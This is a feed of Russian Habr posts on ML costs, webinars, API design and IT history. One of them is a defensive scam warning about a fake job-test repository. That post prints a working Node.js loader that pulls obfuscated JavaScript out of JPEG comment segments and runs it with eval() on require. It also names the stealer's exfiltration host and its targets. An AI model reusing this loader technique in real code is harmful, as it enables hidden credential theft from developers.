Все потоки

Как снизить расходы на GPU в 2,5 раза и не потерять в производительности

Пока одни учат промпты, другие переписывают архитектуру ML-систем. Главная боль сегодня — не качество моделей, а экономика инференса и обучения. Разбираем свежие подходы к оптимизации GPU-часов и построению агентских систем на проде.

По данным Selectel, в майском ML-дайджесте собраны кейсы, где команды добились экономии GPU-времени в 2,5 раза без деградации метрик. Это не про тюнинг гиперпараметров — речь о пересборке inference-пайплайнов и переходе от монолитных моделей к композитным системам.

Уход ИИ в бэкенд: что это меняет

Индустрия смещается от фронтенд-интеграций к серверным агентам. Автономные агенты теперь живут в бэкенде, обрабатывают запросы асинхронно и требуют новых подходов к мониторингу и отказоустойчивости. Это не просто модный тренд — это ответ на latency и стоимость API-вызовов в реальном времени.

Ключевой момент: агенты на проде требуют переосмысления классических паттернов. Нужны механизмы откатов, версионирование промптов как кода, логирование цепочек рассуждений. Без этого отладка превращается в ад.

Новые стандарты агентских систем

Появляются попытки стандартизировать архитектуру агентов. Пока это не RFC-уровень, но сообщество сходится на общих паттернах: разделение планирования и выполнения, явное управление контекстом, изолированные инструменты с чёткими контрактами.

• Планировщик и исполнитель как отдельные компоненты

• Контекстное окно как ограниченный ресурс — управляем явно

• Инструменты агента с типизированными входами/выходами

• Логирование промежуточных шагов для отладки

Это не серебряная пуля, но хотя бы появляется общий язык для обсуждения архитектуры. До сих пор каждая команда изобретала велосипед.

Что в итоге

Экономия GPU достигается не магией, а инженерной работой: батчинг запросов, кэширование эмбеддингов, выбор правильного размера модели под задачу. Агентские системы перестают быть экспериментом и переходят в продакшн, но для этого нужна инфраструктура, а не просто обёртка над API.

Ограничения остаются: непредсказуемость поведения агентов, сложность отладки, отсутствие зрелых инструментов мониторинга. Стандарты только формируются, и сейчас это больше про обмен опытом, чем про готовые решения из коробки.

TG @ciologia

Клиентский сервис в CRM: как сделать сервисную службу источником прибыли и лояльности клиентов

В крупных компаниях сервис давно перестал быть только операционной функцией — сегодня он напрямую влияет на удержание клиентов, повторные продажи и выручку компании. Именно поэтому сервисные процессы важно автоматизировать. Выстраивание клиентского сервиса внутри CRM помогает не только управлять выездными сотрудниками, SLA и документооборотом, но и превращает сервис в полноценную часть клиентской воронки, где каждый контакт с клиентом становится точкой для развития отношений и дополнительных продаж. 

На вебинаре покажем, как мы организуем полный цикл сервисного обслуживания для наших заказчиков в Битрикс24. Разберём реальные процессы и необходимые настройки CRM, продемонстрируем функционал системы и расскажем:

— почему клиентский сервис — это важная часть CRM-автоматизации;
— какие процессы сервисного обслуживания можно автоматизировать в CRM;
— как вести ПНР, гарантийное, техническое и негарантийное обслуживание в единой системе;
— как планировать выезды и формировать маршрутные листы с учётом географии, загрузки и типа работ;
— как автоматически назначать сервисных инженеров по компетенциям и территории;
— как инженеры работают через веб и мобильный интерфейс: фиксируют работы, добавляют фото, материалы, формируют акты и получают подписи клиентов;
— как организовать документооборот без возврата сотрудников в офис;
— в каких случаях достаточно штатной функциональности мобильного приложения, а когда требуется дополнительная;
— как руководителю контролировать сроки, загрузку команды и качество выполнения работ.

Отдельный блок посвятим демонстрации сквозного процесса в CRM:
от создания заявки и назначения инженера до отчётов и закрывающих документов. Вы увидите, как это выглядит для руководителя и для сервисного сотрудника в ежедневной работе.

Также разберём реальный кейс автоматизации сервисных выездов для крупной компании с распределённой полевой командой: как удалось объединить планирование, учёт работ и документооборот в едином окне и сократить время на подготовку отчётности.

И конечно ответим на все вопросы!

Вебинар будет полезен:
• руководителям сервисных служб;
• коммерческим директорам;
• техническим директорам;
• руководителям отделов эксплуатации;
• руководителям компаний с выездными инженерами и сервисными командами.

До встречи на вебинаре!
РЕГИСТРАЦИЯ ПО ССЫЛКЕ

⚠️ Скам через Хабр Карьеру: «тестовое задание» fullstack-вакансии содержит инфостилер

Привет, Хабр. Короткий пост-предупреждение.

Получил отклик на Хабр Карьере на вакансию fullstack-разработчика заграницу, оклад 4-5к$/мес. Его аккаунт на Хабр Карьера
Общение переводят в Telegram, на аккаунт @capdice. Прислали репозиторий с «тестовым заданием»: компания Suarts (домен suarte.art), репозиторий, задача — «интегрировать криптоплатёжный сервис».

С виду — обычный Node.js + React монорепо. Само задание безобидное. Подляна — в остальной части репо.

Два артефакта:

• server/back.jpg — выглядит как JPEG, но в сегментах 0xFFFE (COMMENT-маркер) лежит ~270 КБ обфусцированного JavaScript.

• server/app/services/log.service.js — функция addLogsForAssets читает JPEG, вытаскивает COMMENT-сегменты и прогоняет через eval(). Вызов на верхнем уровне модуля — выполняется при каждом require() сервиса, до подключения к БД.

function addLogsForAssets(imgPath) {
  const imlog = fsr.readFileSync(imgPath);
  let i = 2;
  const chunks = [];
  while (i < imlog.length) {
    if (imlog[i] !== 0xFF) break;
    const marker = imlog[i + 1];
    const length = imlog.readUInt16BE(i + 2);
    if (marker === 0xFE) {                      // JPEG COMMENT marker
      const data = imlog.subarray(i + 4, i + 2 + length);
      chunks.push(data);
    }
    i += 2 + length;
  }
  eval(Buffer.concat(chunks).toString('utf8')); // ← payload
  return true;
}
addLogsForAssets(pathr.join(process.cwd(), 'back.jpg'));

Payload эксфильтрует на cookieshop.cloud/uploads профили Chrome / Opera / Yandex, Windows AppData, macOS Keychain. Подкачивает портативный Python с github.com/indygreg/python-build-standalone/releases/ (подготовка к запуску Python-стилера) и запускает скрытый дочерний процесс через spawn(..., {detached: true, windowsHide: true}). Классический браузерный инфостилер: пароли, куки, токены.

IoC:

Артефакт SHA-256 server/back.jpg be7c30d92a93f4923aca047811303c3d2f6a754b13b7f06019e274cbdee3eee4 server/app/services/log.service.js 7ccf797ecd5716c2e6bc7d3f635654b11520515538051243c73547576ac9f740

Хост эксфильтрации: cookieshop.cloud

Если запускал бэкенд. Загрузчик отрабатывает до подключения к MongoDB — даже если видел ошибку базы, payload уже выполнился. Что делать сразу:

• Сменить пароли в браузерах (Chrome / Brave / Edge / Yandex / Opera)

• Отозвать GitHub PAT, пересоздать SSH-ключи на GitHub / GitLab / Bitbucket

• Сменить credentials в ~/.aws/, ~/.config/gcloud, ~/.config/heroku

• Завершить все сессии: https://github.com/settings/sessions

• Прогнать антивирус

Чек на будущее. Тестовые задания от непроверенных работодателей — только в одноразовой ВМ. eval() над содержимым файла — никогда не легитимный паттерн. Картинки в папках бэкенд-сервисов — красный флаг (file back.jpg, strings back.jpg | head).

На паттерн указал Claude Code при первичном проходе. AI для security-аудита неизвестного кода — рабочая практика.

Видели тот же back.jpg, cookieshop.cloud или @capdice — напишите.

Более быстрый способ ловить подобные алерты - мой канал

Почему API переписывают через полгода и как этого избежать

Жесткие дедлайны заставляют жертвовать проектированием API ради скорости запуска. Через полгода структура данных не соответствует реальным потребностям, а каждое изменение вызывает регрессию. Разбираем, что идет не так и как закладывать гибкость на старте.

Запуск нового сервиса обычно проходит в условиях жестких дедлайнов и давления бизнеса. Приоритет — скорость, архитектура API откладывается на потом. Результат предсказуем: через полгода структура эндпоинтов не вписывается в логику продукта, интеграции становятся хрупкими, документация расходится с кодом.

Команда оказывается в ловушке технического долга. Новые функции не ложатся на существующую архитектуру, любое изменение ломает смежные модули, а страх регрессии парализует развитие. Проблема не в квалификации разработчиков или выборе фреймворка — причина в пропуске этапа системного проектирования.

Что ломается первым

Отсутствие контракта между клиентом и сервером — главная причина хрупкости. Когда API проектируется по принципу «сделаем быстро, потом поправим», возникают системные проблемы:

• Эндпоинты перегружены логикой — один метод делает слишком много, изменить его без побочных эффектов невозможно.

• Структура данных меняется без версионирования — клиенты ломаются на продакшене после деплоя.

• Нет единого источника истины для схемы — документация устаревает, разработчики полагаются на догадки.

• Безопасность добавляется постфактум — авторизация, валидация и rate limiting наслаиваются хаотично, создавая дыры.

По данным исследования Postman State of the API 2023, 40% команд тратят больше времени на исправление проблем интеграции, чем на разработку новых функций. Основная причина — отсутствие контракта на этапе проектирования.

Как закладывать гибкость на старте

Системное проектирование API не означает месяцы планирования. Речь о базовых принципах, которые экономят время в будущем:

1. Определите схему данных до первой строки кода. OpenAPI, JSON Schema или Protocol Buffers — инструмент вторичен, важен контракт между клиентом и сервером. Схема становится единым источником истины и основой для автогенерации кода.

2. Версионируйте с первого дня. Даже если изменения пока не нужны, структура для версий (через URL, заголовки или content negotiation) должна быть заложена сразу. Переход на версионирование постфактум болезненен.

3. Проектируйте эндпоинты под бизнес-операции, а не под таблицы базы. CRUD удобен для прототипа, но быстро показывает ограничения. Операции вроде «подтвердить заказ» или «пересчитать баланс» должны быть явными методами, а не набором UPDATE-запросов.

4. Закладывайте безопасность в архитектуру. Авторизация, валидация входных данных, rate limiting и логирование — не опциональные доработки, а часть контракта. Добавление их потом ломает обратную совместимость и усложняет интеграции.

Trade-offs, о которых молчат

Системное проектирование API требует времени на старте. Это замедляет первый релиз — вместо недели уходит две. Но уже через квартал экономия становится очевидной: меньше правок, стабильные интеграции, отсутствие срочных патчей из-за несовместимых изменений.

Основной риск — переусложнение. Попытка предусмотреть все сценарии приводит к раздутым схемам и избыточной абстракции. Баланс достигается через фокус на реальных бизнес-требованиях, а не гипотетических расширениях.

API, спроектированное с учетом версионирования, контракта и безопасности, масштабируется без переписывания. Вопрос не в том, найдется ли время на проектирование сейчас — вопрос в том, сколько времени уйдет на устранение последствий его отсутствия через полгода.

TG @ciologia

РБПО по ГОСТ Р 56939—2024: вебинар №18 из 30 — Функциональное тестирование

Предлагаю вашему вниманию запись вебинара, где мы разбираем безопасную разработку ПО. Вебинар посвящен процессу из раздела 5.18. – "Функциональное тестирование". На YouTube. Слайды.

Цели 18-го процесса по ГОСТ Р 56939—2024:

Контроль полноты реализованных функциональных возможностей, обнаружение и исправление ошибок с использованием технологий функционального тестирования.

Общее количество вебинаров — 30. Каждому из 25 процессов ГОСТа посвящён отдельный вебинар и ещё 5 записано дополнительно на смежные темы. Запись всех вебинаров и подборка дополнительной информации доступна по ссылке: ГОСТ56939.РФ.

Цикл вебинаров проведён компанией ООО "ПВС" совместно с учебным центром "Маском". Организаторами выступили Андрей Карпов и Виталий Пиков. Совместно с приглашёнными экспертами различных компаний мы рассмотрели 25 процессов, приведённых в ГОСТ Р 56939—2024.

P.S. ООО "ПВС" регулярно проводит вебинары и подкасты, и не только по теме РБПО :) Приглашаем желающих принять в них участие как в качестве зрителей, так и в качестве экспертов.

Почему переводить запросы к нейросети полностью на английский — плохая идея.

Многие думают: «База знаний модели на английском, значит, и спрашивать надо на нём, чтобы она лучше поняла». Это серьёзная ошибка, если ответ вам нужен всё равно на русском.

Смешанный подход (русская основа + точечные английские термины) даёт результат куда лучше, чем сплошной английский.

Вот четыре причины:

Нейросеть тратит силы на перевод, а не на суть ответа

Если запрос на английском, модель «думает» по-английски. А когда ей нужно выдать русский ответ, она начинает переводить собственные мысли. Ресурс, который должен был пойти на логику и глубину, уходит на банальный подбор слов. Итог: текст звучит как машинный перевод, а не живая речь. Русская основа гарантирует, что иИ сразу мыслит в нужном направлении.

Точные термины включают нужные знания

Лучшие технические статьи и разборы ошибок в индустрии написаны на английском. Слова вроде edge cases (граничные случаи) или trade-offs (компромиссы) работают как ключи, открывающие доступ к самой качественной базе знаний. Их русские аналоги часто уводят модель в скучные учебники или кривые переводы документации. Английский нужен только там, где нет точного и ёмкого русского аналога.

Запрет на воду и лебезение работает только на родном языке

Если вы хотите отучить модель от фраз вроде «Отличный вопрос!» и «Буду рад помочь», писать запрет нужно по-русски. Английское указание avoid sycophancy (избегай подхалимства) не сработает, потому что русские слова-паразиты просто не попадут в её стоп-лист. Инструкции по стилю и тону общения всегда должны быть на языке итогового ответа.

Кривой синтаксис и канцеляризм

Когда модель генерирует русский текст из английского запроса, она часто тащит за собой чужую грамматику. Появляются неестественные причастные обороты и канцеляризм («осуществляется обработка данных» вместо простого «обрабатываем данные»). Русский запрос сразу задаёт правильную структуру: короткие, чёткие и живые предложения.

Формула успеха проста. Русский язык задаёт правила игры, структуру и тон. Английский внедряется точечно, только для специфических технических терминов. Переводить запрос целиком, значит своими же руками снижать качество ответа.

Свой ML-завод: что дает собственная ML-платформа и как ее запустить

Большинство корпоративных ИИ-пилотов не дают измеримых результатов. Не из-за моделей, из-за инфраструктурного хаоса вокруг них.

Специалисты тратят время на подготовку данных и настройку окружения вместо экспериментов. Стек собирается из разрозненных инструментов, интеграция съедает месяцы, видеокарты простаивают и сжигают бюджет. А поверх всего — ужесточение требований к субъектам КИИ и приближающиеся сроки перехода на отечественное ПО.

На вебинаре разберем, как выстроить нормальный процесс разработки ИИ — от загрузки данных до обучения моделей на кластере видеокарт. Покажем, как платформа Evolution Stack.ML от Cloud.ru превращает этот хаос в работающий ML-завод: готовые сервисы убирают месяцы интеграций, единое управление наводит порядок в инфраструктуре, а развертывание внутри контура закрывает требования регуляторов.

Будет полезно специалистам по данным и ML-инженерам, руководителям команд, ИТ-архитекторам, DevOps-инженерам, специалистам по ИБ, техническим и ИТ-директорам.

Что обсудим:

• почему ИИ-проекты не взлетают: разрозненные инструменты, простой GPU и другие грабли;

• во сколько на самом деле обходится машинное обучение (спойлер: затраты на видеокарты лишь вершина айсберга);

• три пути к ML-платформе и скрытые ловушки каждого из них: облако, самостоятельная сборка на базе решений с открытым кодом, готовый продукт;

• когда локальное развертывание дешевле облака — и почему это работает не всегда;

• в каких отраслях платформа внутри контура необходима и какие задачи она закрывает;

• как устроена Evolution Stack.ML и зачем нужны рабочие пространства.

В практической части покажем:

• как создать рабочее пространство и подключить внешние источники данных;

• как запустить Jupyter-сервер на готовом образе — от выбора образа до открытия среды разработки;

• весь путь от первого запуска до распределенного обучения на нескольких GPU;

• как отслеживать метрики прямо из интерфейса платформы.

📅 2 июня в 11:00 мск
📍 Онлайн. Зарегистрируйтесь, чтобы задать вопросы спикеру в прямом эфире.

На Бирже заказов появились новые задачи для разработчиков и консультантов 1С. В подборке — заказы, размещенные с 20 по 27 мая: доработки обработок, настройка обменов, интеграция с «Честным Знаком», задачи по маркировке, ЗУП, УТ, ERP, КА и даже 1С 7.7.

Заказы недели:

• Доработка «Печать договора поставки из справочника Договоры с контрагентами (ERP 2, КА 2, УТ 11)».

• Задача 1-Необходимо создать функционал зависимых СИЗ при расчете потребности выдачи которых, на основании норм выдачи, будет учитываться количество по формуле. Задача 2-По умолчанию в заказ на выдачу должен выводится (раздельный комплект).

• Доработка «Загрузка из Гранд-Смета».

• Интеграция УТ 11.3.218 к Честному Знаку.

• 1с розница 2.3. Продажа остатков новый рмк. Ошибка «Штрихкод не соответствует товару».

• Свернуть или перенести остатки и документы на указанную дату.

• Настройка и доработка синхронизации УТ 11.4 и БП 3.0 с нуля через EnterpriseData (сворачивание номенклатуры, фильтры)

• Консультации по 1с ут 11.5.22.134.

• Доработка «Расчет накопленных дней отпуска за работу с ядохимикатами за фактически оплаченные/отработанные часы во вредных условиях труда».

• Доработка «Реестр документов для 1С:ERP 2, КА 2, УТ 11».

Биржа заказов Инфостарта помогает быстро найти исполнителя под задачи по 1С: от разовой консультации до доработки конфигурации, настройки обмена, интеграции с внешними сервисами или сопровождения проекта.

Для заказчиков доступны прямой обмен контактами, работа без комиссии, рейтинги исполнителей и безопасная сделка по желанию.

Как подружить ИБ и разработку через командные топологии: вебинар с разбором реального кейса

Разработке важно быстро выпускать изменения, а ИБ-командам — снижать риски и соблюдать требования безопасности. На практике это часто приводит к тому, что проверки начинают тормозить релизы, а взаимодействие между командами превращается в бесконечные согласования.

Один из способов решить проблему — посмотреть не только на инженерные практики, но и на устройство и взаимодействие самих команд. Метод командных топологий помогает выстроить работу так, чтобы ИБ была частью потока поставки, а не контролирующим контуром. На вебинаре 5 июня техлид «Экспресс 42» разберёт:

• как связаны оргструктура команд, коммуникации между ними и архитектура разрабатываемых систем;

• как использовать командные топологии для анализа вашей текущей модели взаимодействия;

• как выглядит применение подхода на реальном проекте: от исходной ситуации до рекомендаций по изменениям и ожидаемого эффекта.

Регистрируйтесь и подключайтесь 5 июня в 12:00 (МСК), чтобы узнать, как командные топологии помогают снизить конфликтные ситуации и ускорить поставку изменений.

Я устал от общения с ИИ

Я нашел репозитории в GitHub, которые распространяют вредоносный код. Обсудил с ИИ что с этим делать, но полезных советов он не дал. Я открыл обсуждение на GitHub. Мне ответили. Там был точно такой же текст от ИИ. Я указал на это и ответ удалили. Потом ответил другой человек. Там снова был такой же ответ от ИИ.

Я работал в компании разработчиком. Задал владельцу бизнеса вопрос по бизнес задаче. Он мне присылает скрин из ChatGPT с ответом. Я отвечаю, что это вообще не относится к теме вопроса и там всё неверно. Через минуту он мне снова присылает скрин из ChatGPT. Он даже не читает ответ от ИИ. Он сразу делает скрин и присылает его мне.

Недавно на Reddit мне написали с обсуждением моего поста. Я ответил. Снова написали, я снова ответил. Спустя несколько сообщений я понял, что общаюсь с ИИ агентом.

Я устал от общения с ИИ.
Я хочу общаться с людьми.
Но даже когда я общаюсь с людьми, они пересылают мои вопросы ИИ и дают мне ответ от ИИ.

Blog • Telegram

Git reset: как управлять историей и не уничтожить свою работу

git reset — одна из тех команд, которые удобно держать под рукой, но страшно запускать без понимания последствий. Она помогает очистить локальную историю, убрать лишние коммиты, отменить git add или полностью откатиться к нужному состоянию. Но в режиме --hard может стереть незакоммиченные изменения так, будто ничего и не было.

В новой статье разобрали, что делает git reset, чем отличаются режимы --soft, --mixed и --hard, когда команду можно использовать безопасно, а когда лучше выбрать git revert или git restore. Отдельно показали типичные сценарии: объединение нескольких коммитов, вывод файлов из индекса, полный откат и восстановление после неудачного reset --hard через reflog.

Все подробности — в блоге Рег.облака.

Doom запускался на 486-м процессоре с 4 МБ RAM ещё в 1993 году.

И самое интересное - весь мир игры рендерился через BSP-дерево, binary space partition tree.

Джон Кармак строил это дерево при загрузке уровня, а не на каждом кадре. Карта заранее делилась на области, а порядок отрисовки уже был сохранён внутри структуры.

Во время рендера движку не нужно было каждый раз заново вычислять видимость. Он просто проходил по дереву.

Как это работало:

• BSP-узел делит пространство на переднюю и заднюю часть  

• если игрок спереди - сначала рендерится переднее поддерево  

• если игрок сзади - сначала рендерится заднее поддерево  

• порядок уже задан самой структурой дерева

Именно поэтому Doom не нуждался в z-buffer.

Корректная видимость появлялась не из трюков с глубиной, а из самого порядка обхода BSP-дерева.

Очень маленький код, но за ним стоит одна из самых красивых инженерных идей в истории игровых движков.

⚡️ Деннис Ритчи и Стив Джобс умерли в одном месяце: одного оплакивал весь мир, второго почти не заметили

Об этом факте регулярно вспоминают в сообществе разработчиков, но и сейчас он продолжает бить в больную точку. Стив Джобс и Деннис Ритчи ушли в одном и том же месяце одного и того же года, в октябре 2011. Их уход превратился в символ того, насколько по-разному мир относится к людям, которые формируют технологии.

Джобса оплакивали планетой, выпускали книги, сняли фильмы, именем назвали улицы. Он подарил iPhone, iPad, iPod и Macintosh, собрал вокруг Apple одну из самых дорогих компаний в истории. Денниса Ритчи провожали разве что в узком кругу и парой статей в блогах. Это был человек, который подарил нам язык C и вместе с Кеном Томпсоном Unix.

Дальше просто пройдёмся по цепочке. Без C нет Unix. Без Unix нет Linux, нет BSD, нет macOS и iOS. Без C не было бы Windows в его нынешнем виде, не было бы C++, Objective-C, Java, JavaScript в их привычном виде. Нет Chrome и Firefox, нет PostgreSQL и SQLite, нет Nginx, нет Photoshop, нет PlayStation и Xbox. Даже Python и PHP написаны на C.

При таком влиянии Ритчи оставался человеком, которого было сложно представить на сцене с черной водолазкой и в режиссёрском свете. Он работал в Bell Labs, носил бороду, избегал интервью и писал программы. Человек, без которого современный цифровой мир просто не выглядел бы так, как сейчас, провёл жизнь в тени своих собственных результатов.

Похоже, именно в этом и суть контраста. Джобс продавал эмоции и мечты о будущем, это видно и понятно любому человеку. Ритчи писал инфраструктуру, которой пользуются все, но вспоминают о которой, только когда она ломается. Инженерх понимают это отлично: восхищение и слава идут тем, кто выходит на сцену, а не тем, кто держит фундамент.

Поэтому этот сюжет приятно иногда вытаскивать наружу. Не чтобы принижать Джобса, он действительно изменил потребительский рынок. Но чтобы напомнить, что рядом жил тихий инженер в свитере, без которого все эти коробочки от Apple были бы просто красивыми пресс-папье.

Привет, коллеги! 👋 Уже в это воскресенье, 31 мая в 10:00, устроим мощный заряд знаний! ⚡️ За 4 часа своими руками поднимем стек мониторинга, настроим дашборды и оповещения! 📊🔔

Для кого это будет полезно:
- разработчики 💻
- аналитики 📈
- системные инженеры 🔧

Все подробности здесь: https://debugskills.ru/articles/labs/prometheus-grafana/

Апостроф и кавычки

В американском стиле используются двойные типографские кавычки “ ”, в британском одинарные ‘ ’, а в технической документации прямые " ". В американском стиле знаки препинания ставятся внутри кавычек, в британском исходя из смысла. Но часто даже в американских блогах и технических книгах знаки ставят по смыслу, а не внутри.

Апостроф есть прямой ' и типографский ’. Для статей и постов рекомендуется использовать типографский апостроф. Хотя если посмотреть популярные новостные издания или блоги крупных технологических компаний, можно заметить, что у них даже в одной статье могут быть смешаны типографские и прямые апострофы и кавычки. Некоторые ИИ агенты не умеют использовать типографские символы и заменяют их на прямые.

Всегда удобнее ставить прямые кавычки, чем зажимать 3 клавиши для типографских. Тем более в прямых одинаковый символ для открытия и закрытия кавычек, а в типографских разные. На ноутбуке можно настроить умную автозамену на типографский вариант, но большинство программ игнорируют эту настройку. Если вы пишете на разных языках или под разный стиль, то умная замена не поможет. Можно настроить скрипт для автозамены перед публикацией статей, но если в статье содержатся примеры кода, то в них нельзя делать замену. Можно перед публикацией вручную заменять на типографские, но при ответе на комментарии снова будут прямые. Есть шрифты, которые красиво отображают прямой апостроф, но шрифт контролируешь только на своем сайте. Некоторые сайты при наборе текста автоматически заменяют на типографские знаки, но если делать вставку текста, то в нем оставляют прямые.

Blog • Telegram

Когда регрессия уже не спасает: что почитать тестировщику про современный QA

QA больше не живёт в мире, где достаточно прогнать чек‑лист, закрыть пару багов и сказать: «ну вроде работает».

Сейчас тестировщику приходится думать шире: какие ошибки реально блокируют релиз, почему зелёные E2E‑тесты могут ничего не проверять, как flaky‑тесты ломают доверие к CI и где ИИ помогает, а где просто уверенно угадывает.

Начать стоит со статьи «Почему классический подход к QA больше не работает (и виновата ли в этом эпоха ИИ)». Это не очередной текст про «ИИ заменит тестировщиков», а разбор того, как меняется сама роль QA: от проверки готового продукта к работе с качеством на уровне архитектуры, данных, инфраструктуры, процессов и поведения системы после релиза.

В статье объясняется, почему старый подход уже трещит: современные продукты зависят от микросервисов, облаков, внешних API, ML‑моделей, пользовательских данных и цепочек интеграций. Поэтому тестировщику всё чаще нужно не просто находить баги, а понимать, где система может сломаться, как это повлияет на пользователя и что делать с качеством до, во время и после релиза.

Читать статью

А чтобы глубже разобраться в отдельных QA‑болях, собрали ещё несколько материалов:

1. «Ты QA и у тебя баги. Какие из них блокируют релиз?»
   _{Практичный разбор для ситуаций, когда до релиза осталось два часа, багов несколько, а чинить всё уже невозможно. В статье — как оценивать дефекты не по страшности описания, а по последствиям: деньги, данные, доступ, личная информация, заявки, отчёты и возможность быстро откатиться.}

2. «5 распространенных ошибок новичка в E2E‑тестах»
   _{Для тех, кто пишет автотесты и не хочет получать зелёный, но бесполезный отчёт. На примерах Playwright разбираются ошибки вроде проверки интерфейса без проверки реального взаимодействия, неправильного ожидания событий, слабых локаторов и опасного использования force.}

3. «Могут ли LLM находить flaky‑тесты по одному только коду теста? Разбор одного исследования»
   _{О том, почему идея звучит красиво, но на практике всё сложнее. Flaky‑тесты часто зависят от контекста: окружения, хелперов, кода под тестом, истории изменений и скрытого состояния. Поэтому одной LLM и одного куска теста часто недостаточно.}

А если хочется не только читать, но и разбирать QA‑подходы на практике — присмотритесь к бесплатным открытым урокам OTUS. Разделили ближайшие темы по направлениям: от ИИ в автотестах до мониторинга и инцидент‑менеджмента.

ИИ в тестировании и автотестах

• 2 июня, 20:00. «Нейросети и глубокое обучение в тестировании ПО: как приручить ИИ». Записаться

• 16 июня, 20:00. «ИИ в автотестах: помощник или угроза?». Записаться

• 18 июня, 20:00. «Тесты, которые чинят себя сами: практика ИИ в UI‑тестировании». Записаться

API, автотесты и инструменты

• 4 июня, 20:00. «API под контролем: тестирование сервисов с помощью Postman». Записаться

• 4 июня, 20:00. «Быстрая настройка конвейера автотестирования для 1С с хранилищем и Git». Записаться

Надежность, мониторинг и инциденты

• 10 июня, 20:00. «Мониторинг распределенных систем». Записаться

• 16 июня, 20:00. «Инцидент‑менеджмент в SRE. Как быстро находить, устранять и предотвращать сбои в системе». Записаться

Выбирайте тему под свой текущий фокус: ИИ в автотестах, API, мониторинг или инциденты. А если хочется посмотреть всё расписание — полный календарь открытых уроков OTUS.

И подписывайтесь на канал OTUS в MAX — там делимся новыми статьями, анонсами открытых уроков и полезными материалами для IT‑специалистов.

Вебинар уже завтра: как 1С-специалисту получать больше заказов через Инфостарт

Завтра, 28 мая в 11:00 мск, проведем вебинар для 1С-специалистов, которые хотят получать больше заказов через Биржу заказов Инфостарт и выстроить стабильный поток клиентов.

Разберем, как сегодня заказчики выбирают специалистов, что влияет на доверие к профилю, как откликаться на проекты без демпинга и какие возможности площадки помогают получать больше обращений.

Поговорим о том:

— как искать перспективные заказы;
— как оформлять профиль и повышать конверсию откликов;
— как оценивать стоимость работ;
— как получать обращения напрямую через профиль;
— как использовать публикации и форум для привлечения клиентов.

Также обсудим безопасную сделку, бесплатные отклики, стартмани, подписку PRO и экономику работы на площадке.

Спикеры:

Алена Солохина — руководитель отдела маркетинга Инфостарт,
Антон Репин — руководитель группы аналитиков 1С Инфостарт.

В конце — Q&A-сессия с ответами на вопросы участников. Вопросы можно оставить заранее при регистрации.

📅 28 мая, 11:00 мск
⏱ Длительность: 1 час

26 мая 2026 года платформе для сообщества профессионалов в сфере IT исполнилось 20 лет. Хабр приглашает всех пользователей присоединиться к продолжающемуся празднованию этого события.

Добро пожаловать в «Дом Хабра». За 20 лет здесь написали 352 855 статей и переводов, их суммарное время на прочтение перевалило за два миллиона минут, а само сообщество выросло до 71 849 авторов. У самой охватной статьи — почти 5,7 миллиона просмотров. У самой заплюсованной  — 1 447 плюсов, у самой комментируемой — 2 939 комментариев. А самую сохраняемую добавили в закладки 9 292 раза.

За этими большими числами — люди, которые открывали редактор и садились писать поздно вечером, когда желание поделиться было важнее сна. Это дискуссии в комментариях, которые иногда заканчивались дружбой или офером. Это сообщество, которое строило себя само — статья за статьёй и хаб за хабом.

Хабр — это дом, который вы строили сами, и к юбилею сообщества мы оттолкнулись от этой мысли и сделали из неё игру «Дом Хабра».

Что такое «Дом Хабра»

Метафора простая: Хабр — это большой дом, который строят его жители. А это вы: разработчики, инженеры, авторы, эксперты, читатели. Каждый, кто написал сюда статью, ответил на вопрос или просто листал ленту в три часа ночи — вы часть этого дома.

«Дом Хабра» — это игра, где есть дом из пяти тематических комнат. В каждой — мини-квест в механике поиска предметов: нужно найти спрятанные объекты, решить небольшую задачу и помочь герою комнаты. Главная задача: пройти все комнаты дома и собрать жильцов на празднование дня рождения Хабра в гостиной.

Постарались сделать рисовку в духе «Времени приключений», чтобы вы могли поностальгировать. И повторимся, что саму игру проходить лучше с десктопа — так удобнее и приятнее.

Комнаты в доме тематические. И задумка была в том, чтобы каждая из них отражала грани экосистемы Хабра, без которой нельзя представить сообщество: 

• Карьера (кабинет Хабр Карьеры),

• Инновации (лаборатория X5 Tech),

• Авторы (чердак Лаборатории Касперского),

• Разработка (игровая VK),

• Образование (библиотека Финама).

Каждый партнёр разыграет призы среди тех, кто пройдет задания во всех комнатах Дома Хабра: пакеты фирменного мерча, промокоды, индивидуальные обучения. Победителей будет много.

Индустрия AI смещается со сверхразумного AGI на рекурсивный RSI

Раньше все обсуждали AGI – искусственный общий интеллект, который думает «как человек», и даже лучше. Теперь внимание переключается на рекурсивные системы (RSI), которые умеют переписывать и улучшать собственный код. Если AGI пугали, что «машины станут умнее нас», то с RSI призывают, «как заставить модель саму себя апгрейдить без участия инженеров».

Почему именно сейчас? Сходятся несколько факторов. Завершается цикл крупных AI-проектов на биржу, и капитал ищет новые темы для роста. Метрика успеха становится понятнее. Конкретный бенчмарк будет в том, сколько итераций самооптимизации проходит система за час. Коммерческая логика тоже работает: кто первый запустит рекурсивный цикл, тот получит экспоненту в скорости разработки.

К середине 2026 года признаков скорого прорыва к RSI пока нет. Даже Anthropic, которая заявляет, что использует Claude для большей части своего кода, не демонстрирует систем, способных к автономному циклическому улучшению. Но появляются стартапы, которые делают ставку на это направление. Например, Recursive Superintelligence фокусируется на дизайне чипов, то есть задаче, где даже небольшие оптимизации дают кратный экономический эффект.

Риски те же, что и всегда. Нет доказательств, что текущие архитектуры трансформеров способны к устойчивому самоусовершенствованию без деградации. Растет разрыв между затратами на внедрение AI и реальной отдачей. Недавно операционный директор Uber Эндрю Макдональд признался, что компания исчерпала годовой бюджет на AI-токены за несколько месяцев, но не увидела пропорционального роста продуктивности. Даже если это технически получится, непонятно, как это монетизировать и кто будет платить AI, который сам себя переписывает.

Что будет с рынком? Не ждите сингулярности в ближайшие годы. Но готовьтесь к тому, что инвестиции, кадры и исследовательские приоритеты уже смещаются в сторону автономных систем. Ценность переходит от данных и готовых моделей к архитектурам, способным к эволюции без постоянного вмешательства человека.

ИИ не заменил менеджеров. Он сделал их узким местом

Картинка из моей работы. Облачная конференция, сессии наших спикеров на других ивентах, лендинги, статьи в СМИ и блог, Хабр. При производстве практически каждой единицы контента используется ИИ — целая фабрика агентов. Но между ИИ и готовым результатом есть человек, в данном случая я. Человек смотрит, проверяет, принимает решение. И этот ресурс ничем не масштабируется.

